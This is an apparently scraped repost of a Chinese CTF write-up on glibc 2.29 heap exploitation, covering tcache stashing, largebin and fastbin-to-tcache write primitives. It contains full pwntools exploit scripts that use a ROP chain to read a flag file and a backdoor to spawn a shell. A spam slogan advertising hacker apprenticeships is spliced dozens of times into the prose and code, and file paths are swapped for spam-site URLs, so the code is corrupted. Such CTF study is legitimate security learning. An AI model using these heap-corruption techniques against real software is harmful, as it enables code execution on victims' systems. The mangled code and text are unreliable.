hi,你好!欢迎访问本站!登录
推文论坛
当前位置:首页 - 科技生活 - 正文

黑客师傅免费收徒(中国第一黑客收徒)-glibc2.29下unsortedbin

2020-11-18科技生活科技生活20442°c
A+ A-

  作者:ruan

  如今glibc已经发布了glibc 2.31版本,利用也变得越来越难,主要原因是新的版本中加入了更多的check,不过现在大多数的题目还是基于glibc2.23 2.27和2.29这3个版本。我们知道,glibc2.29相对于glibc2.23加入了更多的保护措施,而glibc2.29下对unsortedbin的保护措施相当于直接扼杀了unsortedbin attack,使其基本成为了过去式。本黑客师傅免费收徒(中国第一黑客收徒)文将介绍一些glibc2.29下unsortbin attack的代替方法。

  首先让我们回顾下unsortbin attack的原理和作用,这里选取了glibc2.23的malloc.c的源码:

  for (;; )

  {

  int iters=0;

  while ((victim=unsorted_chunks (av)->bk) !=unsorted_chunks 黑客师傅免费收徒(中国第一黑客收徒) (av))

  {

  bck=victim->bk;

  if (__builtin_expect (victim->size <=2 * SIZE_SZ, 0)

  || __builtin_expect (victim->size > av->system_mem, 0))

  malloc_printerr (check_action, 黑客师傅免费收徒(中国第一黑客收徒) "malloc(): memory corruption",

  chunk2mem (victim), av);

  我们可以看到,这里只check了size是否合法,而size一般都会满足条件,所以这个check形同虚设,紧接着的unsortedbin的解链操作:

  unsorted_chunks (av)->bk = bck;

  bck->fd = unsorted_chunks 黑客师傅免费收徒(中国第一黑客收徒) (av);

  当将一个 unsorted bin 取出的时候,会在 bck->fd的位置写入 unsorted_chunks (av) 。 换句话说,如果我们控制了 victime->bk的值,我们就能控制bck的值,就能将 unsorted_chunks (av)写到任意地址 。 这个值相当的大,我们一般用来攻击 global_max_fast ,使得更大size的chunk也被视为fastbin,从而进行fastbin 黑客师傅免费收徒(中国第一黑客收徒) attack;还有一个非常经典的利用就是house of orange。

  接着来看glibc2.29中的源码:

  for (;; )

  {

  int iters=0;

  while ((victim=unsorted_chunks (av)->bk) !=unsorted_chunks (av))

  {

黑客师傅免费收徒(中国第一黑客收徒)  bck=victim->bk;

  size=chunksize (victim);

  mchunkptr next=chunk_at_offset (victim, size);

  if (__glibc_unlikely (size <=2 * SIZE_SZ)

  || __glibc_unlikely (size > av->system_mem))

<黑客师傅免费收徒(中国第一黑客收徒)p>  malloc_printerr ("malloc(): invalid size (unsorted)");

  if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)

  || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))

  malloc_printerr 黑客师傅免费收徒(中国第一黑客收徒) ("malloc(): invalid next size (unsorted)");

  if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) !=size))

  malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");

  if 黑客师傅免费收徒(中国第一黑客收徒) (__glibc_unlikely (bck->fd !=victim)

  || __glibc_unlikely (victim->fd !=unsorted_chunks (av)))

  malloc_printerr ("malloc(): unsorted double linked list corrupted");

  if (__glibc_unlikely (prev_inuse (黑客师傅免费收徒(中国第一黑客收徒)next)))

  malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

  我们可以看到glibc 2.29先对于2.23来说对unsorted bin加入了更多的check,其中双向链表的完整性检查对我们的利用来说是致命的,这也导致unsorted bin在glibc 2.29下几乎不可利用,所以我们要寻找一些代替的方法。

  我们以hitcon2019 黑客师傅免费收徒(中国第一黑客收徒) quals One-punch-Man这题来实践下方法1和方法2,再以今年某新春公益赛的一题实践下方法3

  保护全开,libc版本是2.29,有seccomp:

  ruan@ruan:/mnt/hgfs/shared/hitcon2019/one_punch$ seccomp-tools dump https://www.fadqcl.com/articles/network/one_punch

  line 黑客师傅免费收徒(中国第一黑客收徒) CODE JT JF K=================================0000: 0x20 0x00 0x00 0x00000004 A=arch

  0001: 0x15 0x01 0x00 0xc000003e if (A==ARCH_X86_64) goto 0003

  0002: 0x06 0x0黑客师傅免费收徒(中国第一黑客收徒)0 0x00 0x00000000 return KILL

  0003: 0x20 0x00 0x00 0x00000000 A=sys_number

  0004: 0x15 0x00 0x01 0x0000000f if (A !=rt_sigreturn) goto 0006

  0005: 0x06 0x00 0x00 0x7fff0000 return ALLOW

黑客师傅免费收徒(中国第一黑客收徒)

  0006: 0x15 0x00 0x01 0x000000e7 if (A !=exit_group) goto 0008

  0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0008: 0x15 0x00 0x01 0x0000003c if (A !=exit) goto 0010

  0009: 0x06 0x00 0x00 0黑客师傅免费收徒(中国第一黑客收徒)x7fff0000 return ALLOW

  0010: 0x15 0x00 0x01 0x00000002 if (A !=open) goto 0012

  0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0012: 0x15 0x00 0x01 0x00000000 if (A !=read) goto 0014

 黑客师傅免费收徒(中国第一黑客收徒) 0013: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0014: 0x15 0x00 0x01 0x00000001 if (A !=write) goto 0016

  0015: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0016: 0x15 0x00 0x01 0x0000000c if (A 黑客师傅免费收徒(中国第一黑客收徒) !=brk) goto 0018

  0017: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0018: 0x15 0x00 0x01 0x00000009 if (A !=mmap) goto 0020

  0019: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0020: 0x15 0x00 0x01黑客师傅免费收徒(中国第一黑客收徒) 0x0000000a if (A !=mprotect) goto 0022

  0021: 0x06 0x00 0x00 0x7fff0000 return ALLOW

  0022: 0x15 0x00 0x01 0x00000003 if (A !=close) goto 0024

  0023: 0x06 0x00 0x00 0x7fff0000 return 黑客师傅免费收徒(中国第一黑客收徒) ALLOW

  0024: 0x06 0x00 0x00 0x00000000 return KILL

  retire函数里的UAF:

  void retire(){

  unsigned int v0; // [rsp+Ch] [rbp-4h]

  writen("idx: ");

  v0=get_int();

  if ( v0 > 2黑客师傅免费收徒(中国第一黑客收徒) )

  error((__int64)"invalid");

  free((void *)chunks[v0].ptr);

  }

  debut函数会先把我们的输入读入到栈上,然后才复制到申请的堆块中,所以可以利用这来进行rop

  unsigned __int64 __fastcall debut(__int64 a1, __int64 a2){

黑客师傅免费收徒(中国第一黑客收徒)

  unsigned int v3; // [rsp+8h] [rbp-418h]

  signed int v4; // [rsp+Ch] [rbp-414h]

  char s[1032]; // [rsp+10h] [rbp-410h]

  unsigned __int64 v6; // [rsp+418h] [rbp-8h]

  v6=__readfsqword(黑客师傅免费收徒(中国第一黑客收徒)0x28u);

  writen("idx: ");

  v3=get_int();

  if ( v3 > 2 )

  error((__int64)"invalid");

  writen("hero name: ");

  memset(s, 0, 0x400uLL);

  v4=read(0, s, 0x400uLL);

  if ( v4 <=0 )

  error((__int64)"io");

  s[v4 - 1]=0;

  if ( v4 <=0x7F || v4 > 0x400 )

  error((__int64)"poor hero name");

  chunks[v3].ptr=(__int64)calloc(1uLL, v4);

黑客师傅免费收徒(中国第一黑客收徒)  chunks[v3].sz=v4;

  strncpy((char *)chunks[v3].ptr, s, v4);

  memset(s, 0, 0x400uLL);

  return __readfsqword(0x28u) ^ v6;

  }

  一个后门选项:

  __int64 __fastcall sub_15BB(__int64黑客师傅免费收徒(中国第一黑客收徒) a1, __int64 a2){

  void *buf; // [rsp+8h] [rbp-8h]

  if ( *(_BYTE *)(heap_base + 0x20) <=6 )

  error((__int64)"gg");

  buf=malloc(0x217uLL);

  if ( !buf )

  error((__int64)"err");

  if 黑客师傅免费收徒(中国第一黑客收徒) ( read(0, buf, 0x217uLL) <=0 )

  error((__int64)"io");

  puts("Serious Punch!!!");

  puts(&unk_2128);

  return puts(buf);

  }

  题目的debut函数用的是calloc函数,意味着进入了黑客师傅免费收徒(中国第一黑客收徒)tcache的堆块是不会在被取出来了(具体原因可以参考calloc源码),但是后门函数里用的是malloc,所以我们的目标就是要使得(_BYTE )(heap_base + 0x20) > 6,已达到利用后门的效果

  很自然的想到要是能用unsortedbin attack就好了,但是这在glibc2.29下是行不通的,原因就是前面分析过的,glibc2.29对unsortedbin进行了全方位的检查。

  黑客师傅免费收徒(中国第一黑客收徒)我后来谷歌了下wp,找到了一篇wp(https://medium.com/@ktecv2000/hitcon-ctf-2019-quals-one-punch-man-pwn-292pts-3e94eb3fd312),里面用的方法有点类似于unsortedbin attack,不得不佩服大佬的思路。

  文章里提到的方法是,当从smallbin里申请一个堆块的时候,会把剩下的smallbin也链入相对应大小的tcache,前提黑客师傅免费收徒(中国第一黑客收徒)是相应大小的tcache没满,相对应的源码为:

  if (in_smallbin_range (nb))

  {

  idx=smallbin_index (nb);

  bin=bin_at (av, idx);

  if ((victim=last (bin)) !=bin)

  {

  bck=victim->bk;

黑客师傅免费收徒(中国第一黑客收徒)

  if (__glibc_unlikely (bck->fd !=victim))

  malloc_printerr ("malloc(): smallbin double linked list corrupted");

  set_inuse_bit_at_offset (victim, nb);

  bin->bk=bck;

  bck->fd=bin;

  if 黑客师傅免费收徒(中国第一黑客收徒) (av !=&main_arena)

  set_non_main_arena (victim);

  check_malloced_chunk (av, victim, nb);

  #if USE_TCACHE

  size_t tc_idx=csize2tidx (nb);

  if (tcache && tc_idx < 黑客师傅免费收徒(中国第一黑客收徒) mp_.tcache_bins)

  {

  mchunkptr tc_victim;

  while (tcache->counts[tc_idx] < mp_.tcache_count

  && (tc_victim=last (bin)) !=bin)

  {// 如果smallbin里相对应大小的tcache没满的话,就链入tcache

  if 黑客师傅免费收徒(中国第一黑客收徒) (tc_victim !=0)

  {

  bck=tc_victim->bk;

  set_inuse_bit_at_offset (tc_victim, nb);

  if (av !=&main_arena)

  set_non_main_arena (tc_victim);

  bin->bk=bck;

  bck->fd=bin;

  tcache_put 黑客师傅免费收徒(中国第一黑客收徒) (tc_victim, tc_idx);

  }

  }

  }

  #endif

  void *p=chunk2mem (victim);

  alloc_perturb (p, bytes);

  return 黑客师傅免费收徒(中国第一黑客收徒) p;

  }

  }

  此处是没有对smallbin进行check的:

  if (tc_victim !=0)

  {

  bck=tc_victim->bk;

  set_inuse_bit_at_offset (tc_victim, nb);

  if (av !=&main_arena)

  set_non_main_arena (tc_victim);

  bin->bk=bck;

  bck->fd=bin;

  所以我们可以伪造tc_victim->bk,然后到了bck->fd=bin这一句,就可以向一个地址写入一个libc的值了,类似于unsortedbin attack,要注意的话就是相对应大小的tcache bin为6个,这样的话tcache_put后,就会退出循环(tcache相同size的chunk最多7个),把chunk返回,不会黑客师傅免费收徒(中国第一黑客收徒)造成段错误

  这里还有个大问题,就是程序申请的堆块大小范围在0x7f~0x400之间,所以在tcache没满的情况下,free后都会进入tcache,那要怎么让一个大小的堆块,比如0x100大小的堆块,相对应的tcache bin有6块,而smallbin有两块呢,这里用到了last_remainder:

  if (in_smallbin_range (nb) &&

  bck==unsorted_chunks 黑客师傅免费收徒(中国第一黑客收徒) (av) &&

  victim==av->last_remainder &&

  (unsigned long) (size) > (unsigned long) (nb + MINSIZE))

  {

  remainder_size=size - nb;

  remainder=chunk_at_offset (victim, nb);黑客师傅免费收徒(中国第一黑客收徒)

  unsorted_chunks (av)->bk=unsorted_chunks (av)->fd=remainder;

  av->last_remainder=remainder;

  remainder->bk=remainder->fd=unsorted_chunks (av);

  if (!in_smallbin_range (remainder_size))<黑客师傅免费收徒(中国第一黑客收徒)/p>

  {

  remainder->fd_nextsize=NULL;

  remainder->bk_nextsize=NULL;

  }

  set_head (victim, nb | PREV_INUSE |

  (av !=&main_arena ? NON_MAIN_ARENA : 0));

  set_head 黑客师傅免费收徒(中国第一黑客收徒) (remainder, remainder_size | PREV_INUSE);

  set_foot (remainder, remainder_size);

  check_malloced_chunk (av, victim, nb);

  void *p=chunk2mem (victim);

  alloc_perturb (p, bytes);

  return 黑客师傅免费收徒(中国第一黑客收徒) p;

  }

  比如我们把unsortedbin切成0x100的大小,如果在calloc一个比这个大的chunk,那这个unsortedbin就会被放到相对应大小的smallbin,对应的源码为:

  if (in_smallbin_range (size))

  {

  victim_index=smallbin_index (size);

<黑客师傅免费收徒(中国第一黑客收徒)p>  bck=bin_at (av, victim_index);

  fwd=bck->fd;

  }

  else

  {

  victim_index=largebin_index (size);

  bck=bin_at (av, victim_index);

  fwd=bck->fd;

  这样的话一切黑客师傅免费收徒(中国第一黑客收徒)条件都有了 :P

  还有一点要注意的是,我们用这个方法把heap+0x30的地方改写了,这样的话其实tcache会 corrupt 掉:

  pwndbg> bins

  tcachebins

  0x100 [ 7]: 0x563a59056000 —? 0x563a59053760 —? 0x563a59053660 —? 0x563a59053560 —? 黑客师傅免费收徒(中国第一黑客收徒) 0x563a59053460 —? 0x563a59053360 —? 0x563a59053260 ?— 0x0

  0x1d0 [-112]: 0x0

  0x1e0 [-19]: 0x0

  0x1f0 [-41]: 0x0

  0x200 [-45]: 0x0

  0x210 [-99]: 0x0

  0x220 [125]: 0x0

黑客师傅免费收徒(中国第一黑客收徒)  0x410 [ 7]: 0x563a590550c0 —? 0x563a59054cb0 —? 0x563a590548a0 —? 0x563a59054490 —? 0x563a59054080 —? 0x563a59053c70 —? 0x563a59053860 ?— 0x0

  所以我们要在攻击前先申请一个0x217大小的堆块,然后释放掉,在攻击

  exp为:

  from pwn 黑客师傅免费收徒(中国第一黑客收徒) import *

  context.arch='amd64'

  def debug(addr,PIE=True):

  if PIE:

  text_base=int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)

  gdb.attach(p,'b *{}黑客师傅免费收徒(中国第一黑客收徒)'.format(hex(text_base+addr)))

  else:

  gdb.attach(p,"b *{}".format(hex(addr)))

  def cmd(c):

  p.recvuntil("> ")

  p.sendline(str(c))

  def add(idx,name):

  cmd(1)

  p.recvuntil("idx: ")

  p.sendline(str(idx))

  p.recvuntil("name: ")

  p.send(name)

  def dele(idx):

  cmd(4)

  p.recvuntil("idx: ")

  p.sendline(str(idx))

黑客师傅免费收徒(中国第一黑客收徒)

  def show(idx):

  cmd(3)

  p.recvuntil("idx: ")

  p.sendline(str(idx))

  def edit(idx,name):

  cmd(2)

  p.recvuntil("idx: ")

  p.sendline(str(idx))

  p.recvuntil("name: 黑客师傅免费收徒(中国第一黑客收徒) ")

  p.send(name)

  def main(host,port=26976):

  global p

  if host:

  p=remote(host,port)

  else:

  p=process("https://www.fadqcl.com/articles/network/one_punch")

  # 黑客师傅免费收徒(中国第一黑客收徒) debug(0x0000000000015BB)

  # gdb.attach(p)

  for i in range(2):

  add(i,"A"*0xf8)

  dele(0)

  dele(1)

  show(1)

  p.recvuntil(": ")

  黑客师傅免费收徒(中国第一黑客收徒)heap=u64(p.recvuntil("

  ",drop=True).ljust(8,b"\x00")) - 0x260

  for i in range(4):

  add(0,"A"*0xf8)

  dele(0)

  for i in range(7):

  add(0,"A"*0x400)

  dele(0)

黑客师傅免费收徒(中国第一黑客收徒)

  for i in range(2):

  add(i,"A"*0x400)

  dele(0)

  show(0)

  p.recvuntil(": ")

  libc.address=u64(p.recvuntil("

  ",drop=True).ljust(8,b"\x00")) - 0x1e4ca0

  info("heap 黑客师傅免费收徒(中国第一黑客收徒) : " + hex(heap))

  info("libc : " + hex(libc.address))

  add(1,"A"*0x300)

  add(2,"A"*0x400)

  add(1,"A"*0x400)

  dele(2)

  add(1,"A"*0x300)

  add(1,"A"*0x400)<黑客师傅免费收徒(中国第一黑客收徒)/p>

  add(0,"A"*0x217)

  payload=b"\x00"*0x108+b"/flag.txt"+b"\x00"*(0x7+0x1f0)+p64(0x101)+p64(heap+0x27d0)+p64(heap+0x30-0x10-5)

  edit(2,payload)

  dele(0)

  add(2,"A"*0xf8)

  edit(0,p64(libc.symbols["__malloc_hook"]))

  cmd(str(50056))

  p.send("C"*8)

  cmd(str(50056))

  p.send(p64(libc.address+0x000000000008cfd6))

  # 黑客师傅免费收徒(中国第一黑客收徒) pause()

  # 0x000000000008cfd6黑客师傅免费收徒(中国第一黑客收徒): add rsp, 0x48; ret;

  # 0x0000000000026542: pop rdi; ret;

  # 0x000000000012bdc9: pop rdx; pop rsi; ret;

  # 0x0000000000047cf8: pop rax; ret;

  # 0x00000000000cf6c5: syscall; ret;

黑客师傅免费收徒(中国第一黑客收徒)  p_rdi=0x0000000000026542+libc.address

  p_rdx_rsi=0x000000000012bdc9+libc.address

  p_rax=0x0000000000047cf8+libc.address

  syscall_ret=0x00000000000cf6c5+libc.address

  payload=p64(p_rdi)+黑客师傅免费收徒(中国第一黑客收徒)p64(heap+0x2df8)+p64(p_rdx_rsi)+p64(0)*2+p64(p_rax)+p64(2)+p64(syscall_ret)

  payload +=p64(p_rdi)+p64(3)+p64(p_rdx_rsi)+p64(0x80)+p64(heap+0x2d00)+p64(p_rax)+p64(0)+p64(syscall_ret)

  payload 黑客师傅免费收徒(中国第一黑客收徒) +=p64(p_rdi)+p64(1)+p64(p_rax)+p64(1)+p64(syscall_ret)

  payload +=p64(p_rdi)+p64(0)+p64(p_rax)+p64(0)+p64(syscall_ret)

  payload=payload.ljust(0x100,b"\x00")

  gdb.attach(p)

  add(2,payload)

  p.interactive()

  if 黑客师傅免费收徒(中国第一黑客收徒) __name__=="__main__":

  libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

  main(args['REMOTE'])

  方法2是Balsn战队的wp(HITCON CTF 2019 Quals)里用到的largebin_attack,首先我觉得一个难黑客师傅免费收徒(中国第一黑客收徒)点是这题申请的堆块最大为0x410,怎么把大小比0x410还大的unsortedbin放入largebin是第一个要解决的问题,所以从源码入手:

  if (in_smallbin_range (nb) &&

  bck==unsorted_chunks (av) &&

  victim==av->last_remainder &&

  (unsigned long) (size) 黑客师傅免费收徒(中国第一黑客收徒) > (unsigned long) (nb + MINSIZE))

  {

  remainder_size=size - nb;

  这是判断是否要把last remainder进行切割的代码,如果条件不满足的话就会进入下面的代码:

  if (__glibc_unlikely (bck->fd !=victim))

  malloc_printerr ("黑客师傅免费收徒(中国第一黑客收徒)malloc(): corrupted unsorted chunks 3");

  unsorted_chunks (av)->bk=bck;

  bck->fd=unsorted_chunks (av);

  //我们使得size !=nb,跳过这个代码块

  if (size==nb)

  {

  set_inuse_bit_at_offset 黑客师傅免费收徒(中国第一黑客收徒) (victim, size);

  if (av !=&main_arena)

  set_non_main_arena (victim);

  .........................................................

  }

  #endif

  }

  if (in_smallbin_range 黑客师傅免费收徒(中国第一黑客收徒) (size))

  {

  victim_index=smallbin_index (size);

  bck=bin_at (av, victim_index);

  fwd=bck->fd;

  }

  else

  {// 将chunk置入largebin

  victim_index=largebin_index 黑客师傅免费收徒(中国第一黑客收徒) (size);

  bck=bin_at (av, victim_index);

  fwd=bck->fd;

  所以wp里的堆布局为:

  v2-18f59152a52fd392444黑客师傅免费收徒(中国第一黑客收徒)b2fd6a370bb20_720w

  这样当我们malloc(0x200)的堆块时,就会不满足bck==unsorted_chunks (av)和if (size==nb)从而把这个chunk(0x5601e80414c0)置入largebin中,第二次循环的时候,发现unsorted bin的size刚刚好,直接就取出返回

  largebins

  0x400: 0x5601e804黑客师傅免费收徒(中国第一黑客收徒)14c0 —? 0x7f58e3c64090 (main_arena+1104) ?— 0x5601e80414c0

  这样的话就解决了这个问题,剩下的就是怎么进行largebin_attack了,原理为:

  if (in_smallbin_range (size))

  {

  victim_index=smallbin_index (size);

  bck=bin_at 黑客师傅免费收徒(中国第一黑客收徒) (av, victim_index);

  fwd=bck->fd;

  }

  else //要放入的chunk是largebin

  {

  victim_index=largebin_index (size);

  bck=bin_at (av, victim_index);

  fwd=bck->fd;黑客师傅免费收徒(中国第一黑客收徒)

  if (fwd !=bck)

  {

  size |=PREV_INUSE;

  assert (chunk_main_arena (bck->bk));

  if ((unsigned long) (size)

  < (unsigned long) chunksize_nomask (bck->bk))

  {

黑客师傅免费收徒(中国第一黑客收徒)

  fwd=bck;

  bck=bck->bk;

  victim->fd_nextsize=fwd->fd;

  victim->bk_nextsize=fwd->fd->bk_nextsize;

  fwd->fd->bk_nextsize=victim->bk_nextsize->fd_nextsize=victim;

  }

  黑客师傅免费收徒(中国第一黑客收徒)else

  {

  assert (chunk_main_arena (fwd));

  while ((unsigned long) size < chunksize_nomask (fwd))

  {

  fwd=fwd->fd_nextsize;

  assert (chunk_main_arena (fwd));

  }<黑客师傅免费收徒(中国第一黑客收徒)/p>

  if ((unsigned long) size

  ==(unsigned long) chunksize_nomask (fwd))

  fwd=fwd->fd;

  else //原本在largebin(fwd)的size和要放入的largebin(victim)的size不等

  {

  victim->fd_nextsize=fwd;

  victim->bk_nextsize=fwd->bk_nextsize;

  fwd->bk_nextsize=victim; 黑客师傅免费收徒(中国第一黑客收徒) //!!!!

  victim->bk_nextsize->fd_nextsize=victim;

  }

  bck=fwd->bk;

  }

  }

  else

黑客师傅免费收徒(中国第一黑客收徒)

  victim->fd_nextsize=victim->bk_nextsize=victim;

  }

  mark_bin (av, victim_index);

  victim->bk=bck;

  victim->fd=fwd;

  fwd->bk=victim;

  bck->fd=victim;

  所以我黑客师傅免费收徒(中国第一黑客收徒)们可以利用程序里的UAF漏洞伪造好fwd->bk_nextsize,随后的victim->bk_nextsize->fd_nextsize=victim;就会在fwd->bk_nextsize+0x20的位置写入victim这个值,如果我们让这个堆地址写入到heap_base+0x20的位置就能使用后门函数了,这里要注意的一个点就是待插入的chunk的size要和已经在largebin里的chunk的size不相等。

  来看黑客师傅免费收徒(中国第一黑客收徒)看效果:

  把unsortedbin放入largebin之前

  v2-3e333968be2005f31d58490d24869d71_720w

  放入后(这里的堆基地址为0x565505852000)

黑客师傅免费收徒(中国第一黑客收徒)

  v2-0bad008cfb31636fd7541b21bf05dbb2_720w

  可以看到0x220大小的chunk被改为了有48个,这样我们就可以利用后门函数申请到__malloc_hook了

  具体的exp见 黑客师傅免费收徒(中国第一黑客收徒) https://balsn.tw/ctf_writeup/20191012-hitconctfquals/#one-punch-man

  方法3是在打今年某公益ctf的时候学到的,题目名字叫signin

  程序逻辑很短,只能add10次:

  unsigned __int64 add(){

  unsigned int idx; // [rsp+Ch] [rbp-24h]

黑客师傅免费收徒(中国第一黑客收徒)

  __int64 s; // [rsp+10h] [rbp-20h]

  __int64 v3; // [rsp+18h] [rbp-18h]

  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4=__readfsqword(0x28u);

  puts("idx?");

  s=0LL;

 黑客师傅免费收徒(中国第一黑客收徒) v3=0LL;

  memset(&s, 0, 0x10uLL);

  read(0, &s, 0xFuLL);

  idx=atoi((const char *)&s);

  if ( addcnt >=0 && idx <=0xF )

  {

  ptrlist[idx]=malloc(0x70uLL);

  flags[idx]=1;

  --addcnt; 黑客师傅免费收徒(中国第一黑客收徒) //addcnt 初始值为9

  }

  return __readfsqword(0x28u) ^ v4;

  }

  dele后flags会置零,但指针没置零,故可以UAF:

  unsigned __int64 del(){

  unsigned int idx; // [rsp+Ch]黑客师傅免费收徒(中国第一黑客收徒) [rbp-24h]

  __int64 s; // [rsp+10h] [rbp-20h]

  __int64 v3; // [rsp+18h] [rbp-18h]

  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4=__readfsqword(0x28u);

  puts("idx?");

  s=0LL;

  v3=0LL;

  memset(&s, 黑客师傅免费收徒(中国第一黑客收徒) 0, 0x10uLL);

  read(0, &s, 0xFuLL);

  idx=atoi((const char *)&s);

  if ( idx <=0xF && flags[idx]==1 )

  {

  free(ptrlist[idx]);

  黑客师傅免费收徒(中国第一黑客收徒)flags[idx]=0;

  }

  return __readfsqword(0x28u) ^ v4;

  }

  但是不能double free,因为glibc2.29在free tcache的时候会对tcache进行check:

  if (__glibc_unlikely (e->key==tcache))

  {

  tcache_entry 黑客师傅免费收徒(中国第一黑客收徒) *tmp;

  LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);

  for (tmp=tcache->entries[tc_idx];

  tmp;

  tmp=tmp->next)

  if (tmp==e)

  malloc_printerr ("free():黑客师傅免费收徒(中国第一黑客收徒) double free detected in tcache 2");

  }

  还有就是仅有的一次edit机会和一个后门,不过后门要满足bss段中的ptr不为零:

  void __noreturn backdoor()

  {

  calloc(1uLL, 0x70uLL);

  if ( ptr )

  system("/黑客师傅免费收徒(中国第一黑客收徒)bin/sh");

  exit(0);

  }

  这里一开始想到的也是unsortedbin attack,如果能攻击到bss段中的ptr,那我们就能getshell了,但是这题申请的堆块固定了是0x70,故也就不能利用unsortedbin attack

  我们可以看到这个backdoor函数很诡异,为什么要平白无故调用一个calloc,然后又想到程序限制了申请的堆块大小黑客师傅免费收徒(中国第一黑客收徒)为0x70,是在fastbin的范围里,顺着这两点,去看源码,最后找到了利用点:

  static void *

  _int_malloc (mstate av, size_t bytes)

  {

  ...............................

  #if USE_TCACHE

  size_t 黑客师傅免费收徒(中国第一黑客收徒) tcache_unsorted_count;

  #endif

  checked_request2size (bytes, nb);

  .....................................................

  ...................................

  if ((unsigned long) (nb) <=(unsigned 黑客师傅免费收徒(中国第一黑客收徒) long) (get_max_fast ()))

  {

  idx=fastbin_index (nb);

  mfastbinptr *fb=&fastbin (av, idx);

  mchunkptr pp;

  victim=*fb;

  if (victim !=NULL)

  {

  if 黑客师傅免费收徒(中国第一黑客收徒) (SINGLE_THREAD_P)

  *fb=victim->fd;

  else

  REMOVE_FB (fb, pp, victim);

  if (__glibc_likely (victim !=NULL))

  {

  size_t victim_idx=fastbin_index (chunksize (victim));

<黑客师傅免费收徒(中国第一黑客收徒)p>  if (__builtin_expect (victim_idx !=idx, 0))

  malloc_printerr ("malloc(): memory corruption (fast)");

  check_remalloced_chunk (av, victim, nb);

  #if USE_TCACHE

  size_t tc_idx=csize2tidx 黑客师傅免费收徒(中国第一黑客收徒) (nb);

  if (tcache && tc_idx < mp_.tcache_bins)

  {

  mchunkptr tc_victim;

  while (tcache->counts[tc_idx] < mp_.tcache_count

  && (tc_victim=*fb) !=NULL)

  {

  if (黑客师傅免费收徒(中国第一黑客收徒)SINGLE_THREAD_P)

  *fb=tc_victim->fd;

  else

  {

  REMOVE_FB (fb, pp, tc_victim);

  if (__glibc_unlikely (tc_victim==NULL))

  break;

  }

  tcache_put (tc_victim, 黑客师傅免费收徒(中国第一黑客收徒) tc_idx);

  }

  }

  #endif

  我们可以看到这句注释:,应该是fastbin再取下一块之后,如果fastbin还有剩余,而且对应大小的tcache没满,就把它放到对应大小的tcache,而且这里没有任何检查,在跟进去tcache_put:

  tcache_put (mchunkptr chunk, size_t 黑客师傅免费收徒(中国第一黑客收徒) tc_idx)

  {

  tcache_entry *e=(tcache_entry *) chunk2mem (chunk);

  assert (tc_idx < TCACHE_MAX_BINS);

  e->key=tcache;

  e->next=tcache->entries[tc_idx];

  tcache->entries[tc_idx]=e;

  ++(tcache->counts[tc_idx]);

  }

  这有句e->key=tcache;这是为了检查tcache的double free,如果我们伪造了那个fastbin chunk,我们就可以往chunk+0x18的位置写入tcache的值,效果和原来的unsortedbin attack很像

  效果:

  pwndbg> bins

黑客师傅免费收徒(中国第一黑客收徒)

  tcachebins

  0x80 [ 6]: 0x21c84e0 —? 0x21c8460 —? 0x21c83e0 —? 0x21c8360 —? 0x21c82e0 —? 0x21c8260 ?— 0x0

  fastbins

  0x20: 0x0

  0x30: 0x0

  0x40: 0x0

  0x50: 0x0

黑客师傅免费收徒(中国第一黑客收徒)

  0x60: 0x0

  0x70: 0x0

  0x80: 0x21c8650 —? 0x4040a8 ?— 0xffffffff00000000

  调用calloc后:

  pwndbg> bins

  tcachebins

  0x80 [ 7]: 0x4040b8 (completed) —? 0x21c84e0 —? 0x2黑客师傅免费收徒(中国第一黑客收徒)1c8460 —? 0x21c83e0 —? 0x21c8360 —? 0x21c82e0 —? 0x21c8260 ?— 0x0

  pwndbg> telescope 0x4040b8+8

  00:0000│ 0x4040c0 (ptr) —? 0x21c8010 ?— 0x7000000000000

  01:0008│ 0x4040c8 ?— 0x0

  成功把黑客师傅免费收徒(中国第一黑客收徒)tcache写入ptr,这也是为什么后门函数在一开始会有个诡异的calloc,顺带一提的是calloc不会使用tcache里的堆块

  exp:

  from pwn import *

  context.arch='amd64'

  def cmd(c):

  p.recvuntil("your choice?")

  p.sendline(str(c))

  def 黑客师傅免费收徒(中国第一黑客收徒) add(idx):

  cmd(1)

  p.recvuntil("idx?")

  p.sendline(str(idx))

  def dele(idx):

  cmd(3)

  p.recvuntil("idx?")

  p.sendline(str(idx))

  def 黑客师傅免费收徒(中国第一黑客收徒) edit(idx,content):

  cmd(2)

  p.recvuntil("idx?")

  p.send(str(idx).ljust(0xf,"\x00"))

  p.send(content)

  def main(host,port=4205):

  global p

  if host:

  黑客师傅免费收徒(中国第一黑客收徒)p=remote(host,port)

  else:

  p=process("https://www.fadqcl.com/articles/network/pwn")

  gdb.attach(p,"b *0x000000000401343")

  # gdb.attach(p)

  for i in range(9):

  add(i)

  for i in range(9):

  dele(i)

  edit(8,p64(0x0000000004040C0-0x18))

  add(1)

  cmd(6)

  p.interactive()

  if __name__=="__main__":

  # 黑客师傅免费收徒(中国第一黑客收徒) libc=ELF("/lib/x86_64-linux-gnu/libc.so.6",checksec=False)

  # elf=ELF("https://www.fadqcl.com/articles/network/re-alloc",checksec=False)

  main(args['REMOTE'])

  3种方法都介绍完毕了,这里在提一下glibc源码调试,这对我们解决题目有很大的帮助:

  先下载一个Ubuntu19.04,用VMware装上,或者用docker去pull一个Ubuntu19.04的镜像

  接着

  sudo 黑客师傅免费收徒(中国第一黑客收徒) apt install glibc-source

  sudo apt install libc6-dbg

  sudo tar -xf /usr/src/glibc/glibc-2.29.tar.xz搞好后,在程序运行时gdb贴上去 黑客师傅免费收徒(中国第一黑客收徒) /usr/src/glibc/glibc-2.29/是源码目录,然后后面的文件夹要自己指定下,比如我想源码调试malloc里的函数:

  pwndbg> directory /usr/src/glibc/glibc-2.29/malloc

  效果:

